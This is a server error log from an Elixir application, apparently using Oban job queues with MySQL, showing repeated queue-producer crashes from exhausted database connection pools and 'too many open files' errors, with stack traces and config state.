** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:52:09.238647Z], limit: 3, uuid: "c7db9c08-9529-4f0c-a741-54211370dd9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:09.238654Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.226910>, refresh_timer: #Reference<0.2525715032.1077673987.59090>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:52:09.240891Z], limit: 10, uuid: "700b3c60-91f5-4be2-b324-9d8faeb0e9fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:09.240896Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.226908>, refresh_timer: #Reference<0.2525715032.1121189889.226893>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:52:09.241100Z], limit: 50, uuid: "9cbcbdcc-0a3d-4eb5-8e64-b4943b523e8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:09.241107Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.226909>, refresh_timer: #Reference<0.2525715032.1121189889.226897>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:52:09.240855Z], limit: 20, uuid: "879c7cab-d68e-41e5-9a54-8794193c7117", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:09.240862Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.226911>, refresh_timer: #Reference<0.2525715032.1068498948.84996>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:23.063000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:23.151000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:24.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:26.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:28.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:29.056000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:29.229000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:30.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:32.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:52:21.238362Z], limit: 5, uuid: "cedb1996-3e1d-4b98-8e2d-3dc2482dd285", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:21.238372Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71136>, refresh_timer: #Reference<0.2525715032.1068498948.85192>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:52:21.239953Z], limit: 3, uuid: "c5e0b551-9851-4a38-80c1-c62055a2bc38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:21.239958Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71134>, refresh_timer: #Reference<0.2525715032.1099431938.71114>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:52:21.239938Z], limit: 50, uuid: "5e2b0b0d-5934-4b6e-ac1e-bdfd7412350e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:21.239944Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71137>, refresh_timer: #Reference<0.2525715032.1068498948.85228>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:52:21.239900Z], limit: 10, uuid: "f71416ac-4385-4617-bd9d-235dcd8da41f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:21.239905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71135>, refresh_timer: #Reference<0.2525715032.1068498948.85223>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:33.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
